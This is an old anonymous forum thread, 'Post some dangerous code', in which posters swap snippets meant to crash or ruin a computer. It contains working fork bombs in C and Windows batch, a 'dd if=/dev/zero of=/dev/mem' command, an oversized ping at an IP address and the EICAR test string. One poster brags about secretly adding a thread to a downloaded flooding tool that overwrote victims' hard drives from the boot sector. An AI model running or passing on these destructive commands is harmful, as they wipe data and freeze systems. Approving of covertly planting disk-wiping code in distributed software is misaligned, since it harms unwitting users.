Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

Post some dangerous code

Name: Anonymous 2007-11-10 14:27

Post some code that if compiled and the executable is ran, it will totally kill your computer. I'm talking a real FUBAR.

Name: Anonymous 2007-11-14 3:47

#!/usr/bin/perl

                                                  sub j(\$){($
                    P,$V)=                      @_;while($$P=~s:^
                ([()])::x){                    $V+=('('eq$1)?-32:31
          }$V+=ord(  substr(                 $$P,0,1,""))-74} sub a{
         my($I,$K,$  J,$L)=@_               ;$I=int($I*$M/$Z);$K=int(
        $K*$M/$Z);$J=int($J*$M             /$Z);$L=int($L*$M/$Z); $G=$
        J-$I;$F=$L-$K;$E=(abs($          G)>=abs($F))?$G:$F;($E<0) and($
         I,$K)=($J,$L);$E||=.01       ;for($i=0;$i<=abs$E;$i++ ){ $D->{$K
                 +int($i*$F/$E)      }->{$I+int($i*$G/$E)}=1}}sub p{$D={};$
                Z=$z||.01;map{    $H=$_;$I=$N=j$H;$K=$O=j$H;while($H){$q=ord
               substr($H,0,1,"" );if(42==$q){$J=j$H;$L=j$H}else{$q-=43;$L =$q
             %9;$J=($q-$L)/9;$L=$q-9*$J-4;$J-=4}$J+=$I;$L+=$K;a($I,$K,$J,$ L);
             ($I,$K)=($J,$L)}a($I,$K,$N,$O)}@_;my$T;map{$y=$_;map{ $T.=$D->{$y}
             ->{$_}?$\:' '}(-59..59);$T.="\n"}(-23..23);print"\e[H$T"}$w= eval{
             require Win32::Console::ANSI};$b=$w?'1;7;':"";($j,$u,$s,$t,$a,$n,$o
             ,$h,$c,$k,$p,$e,$r,$l,$C)=split/}/,'Tw*JSK8IAg*PJ[*J@wR}*JR]*QJ[*J'.
              'BA*JQK8I*JC}KUz]BAIJT]*QJ[R?-R[e]\RI'.'}Tn*JQ]wRAI*JDnR8QAU}wT8KT'.
              ']n*JEI*EJR*QJ]*JR*DJ@IQ[}*JSe*JD[n]*JPe*'.'JBI/KI}T8@?PcdnfgVCBRcP'.
               '?ABKV]]}*JWe*JD[n]*JPe*JC?8B*JE};Vq*OJQ/IP['.'wQ}*JWeOe{n*EERk8;'.
                 'J*JC}/U*OJd[OI@*BJ*JXn*J>w]U}CWq*OJc8KJ?O[e]U/T*QJP?}*JSe*JCnTe'.
                  'QIAKJR}*JV]wRAI*J?}T]*RJcJI[\]3;U]Uq*PM[wV]W]WCT*DM*SJ'.  'ZP[Z'.
                     'PZa[\]UKVgogK9K*QJ[\]n[RI@*EH@IddR[Q[]T]T]T3o[dk*JE'.  '[Z\U'.
                       '{T]*JPKTKK]*OJ[QIO[PIQIO[[gUKU\k*JE+J+J5R5AI*EJ00'.  'BCB*'.
                            'DMKKJIR[Q+*EJ0*EK';sub h{$\ = qw(% & @ x)[int    rand
                             4];map{printf  "\e[$b;%dm",int(rand 6)+101-60*   ($w
                              ||0);system(  "cls")if$w ;($A,$S)=    ($_[1],   $
                               _[0]);($M,   @,)= split  '}';for(     $z=256
                               ;$z>0; $z   -=$S){$S*=   $A;p @,}      sleep$_
                               [2];while   ($_[3]&&($    z+=$ S)       <=256){
                               p@,}}("".   "32}7D$j"     ."}AG".       "$u}OG"
                               ."$s}WG"    ."$t",""      ."24}("        ."IJ$a"
                               ."}1G$n"    ."}CO$o"     ."}GG$t"        ."}QC"
                                ."$h}"      ."^G$e"    ."})IG"          ."$r",
                                "32}?"       ."H$p}FG$e}QG$r".          "}ZC"
                                ."$l",          "28}(LC" .""            ."".
                                "$h}:"           ."J$a}EG".             "$c"
                                ."}M"             ."C$k}ZG".            "$e"
                                ."}"             ."dG$r","18"          ."}("
                               ."D;"            ."$C"  )}{h(16         ,1,1,0
                              );h(8,          .98,0,0   );h(16         ,1,1,1)
                              ;h(8.0         ,0.98,0,     1);         redo}###
                            #written                                 060204 by
                          #liverpole                                  @@@@@@@
                       #@@@@@@@@@@@

Name: Anonymous 2007-11-14 5:15

This reminds me of the bpost program that was used to flood /b/ with that nyoro~n crap. I downloaded it and to my surprise it came with full source code. So, I made a few improvements, recompiled, and uploaded my new version.

One of the improvements that I didn't include in the uploaded source was the addition of a background thread that opened up the first physical drive, and slowly wrote blocks of 512 zeros to it, starting from the boot sector and continuing steadily towards the end.

Judging by the angry responses from unwitting victims when I revealed my cunning plan the next day, it certainly helped to cut down some of the flooding.

Name: Anonymous 2007-11-14 5:17

>>42
Also, the next version wrote a special boot sector to the hard disk that did nothing but display a duckroll. But not so many people downloaded that one.

Name: Anonymous 2007-11-14 5:35

>>42-43
Win. Well done.

Name: Anonymous 2007-11-14 6:00

>>43
/r/ sauce for special boot sector

Name: Anonymous 2007-11-14 12:54

>>42,43
Fail for not installing Linux.

Name: Anonymous 2007-11-14 14:12

>>42
I remember that. I lol'd.

Name: Anonymous 2007-11-14 15:11

>>43
not that gullible troll

Name: Anonymous 2007-11-14 19:00

:s
 start %0
 goto s

Name: Anonymous 2007-11-14 19:08

>>15
Error(2): UNISTD header not for Windows use
lolwut

Name: Anonymous 2007-11-14 23:08

>>50
You can't fork() on Windows, genius.

Name: Anonymous 2007-11-14 23:26

>>51
CreateProcessEx( argv[0], etc )

What now, faggot?

Name: Anonymous 2008-02-07 0:47

>>52
Enjoy your NULL, NULL, NULL, NULL, NULL.

Name: Anonymous 2008-02-07 2:28

mtc0 $0, Cp0_EntryHi
tlbwr
tlbwr
tlbwr
tlbp

Name: Anonymous 2008-02-07 3:11

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Name: Anonymous 2008-02-07 5:07

int a;
a = 1 / 0;




I heard dividing by zero causes a rip in space time resulting in a black hole.

Name: Anonymous 2008-02-07 7:16

sudo dd if=/dev/zero of=/dev/mem bs=4K

Name: Anonymous 2008-02-07 7:40

>>56
Unless you're Chuck Norris

Name: Anonymous 2008-02-07 8:54

>>58
I'm revoking your internet license. GTFO.

Name: Anonymous 2008-02-07 9:03

>>59
no u

Name: Anonymous 2008-02-07 9:04

>>60
I hereby banish you from the internet. IT IS SO ORDERED.

Name: Anonymous 2008-02-07 9:12

>>61
no u

Name: Anonymous 2008-02-07 12:25

#include <unistd.h>
int main() {
fork();
main();
return 0;
}

Name: Anonymous 2009-05-13 1:22

>>59

Second

Name: Anonymous 2009-05-13 2:20

ping -s 4294967296 -c 65536 8.18.65.19

Name: Anonymous 2009-05-13 2:24

>>61 just banished me⁏ Shit was so ordered.

Name: Anonymous 2009-05-13 18:38

>>63
YOUR CODE IS SUBOPTIMAL
>mainfork.c
>>mindfuck.c
>>>awesome.png
int main(int argc) {
    return [spoiler]m[spoiler]a[spoiler]i[spoiler]n[spoiler][spoiler]([spoiler]f[spoiler]o[spoiler]r[spoiler]k[spoiler]([spoiler])[spoiler])[spoiler];[/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler][/spoiler]
}

Name: Anonymous 2009-05-13 18:42

This is considered harmful.

#include <iostream>

int main(){
    loop:
    goto loop;
    return 0;
}

Name: Anonymous 2009-05-13 18:43

>>67
Fixed that for you bro. Also, with non-pig-disgusting indentation.

int main(int argc)
{
    return
main(fork());
}

Name: Anonymous 2009-05-13 18:44

>>69
Oh shit.

int main(int argc)
{
    return
main(fork());
}

Name: Anonymous 2009-05-13 20:08

>>69
But you‘re indentation was the same as his. :/

Name: Anonymous 2009-05-13 20:29

main() has implementation-defined linkage, and can't be called from within the program, nor can its address be taken.

Or is that just Sepples? I'm too lazy to check.

Name: Anonymous 2009-05-13 20:29

int main(int main) = main(fork(main()));

Name: Anonymous 2009-05-13 20:46

int (*main)(void) = 0;

Name: Anonymous 2009-05-13 20:55

>>74
main=12828721;

Name: Anonymous 2009-05-14 6:29

>>71
Sorry, wrong word. Not indentation, but braces placement.

Name: Anonymous 2009-05-14 8:09

>>40
TECHNO MUSIC TO FULL

Name: Anonymous 2009-05-14 8:37

>>11
Fucking hell. Searching Google for typedef FILE results in a failure. What is the _ptr field for?

Name: Anonymous 2009-05-14 8:44

stdio.h is in /usr/include/stdio.h:
typedef struct __sFILE {
unsigned char *_p; /* current position in (some) buffer */
int _r; /* read space left for getc() */
int _w; /* write space left for putc() */
short _flags; /* flags, below; this FILE is free if 0 */
short _file; /* fileno, if Unix descriptor, else -1 */
struct __sbuf _bf; /* the buffer (at least 1 byte, if !NULL) */
int _lbfsize; /* 0 or -_bf._size, for inline putc */

_p is the same as _ptr, right?

Name: Anonymous 2009-05-14 12:35

Isn't there software nowdays which can overclock hardware?

Why hasn't anyone made something that overclocks the gpu, fsb, cpu and ram to something like 50GHz?

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List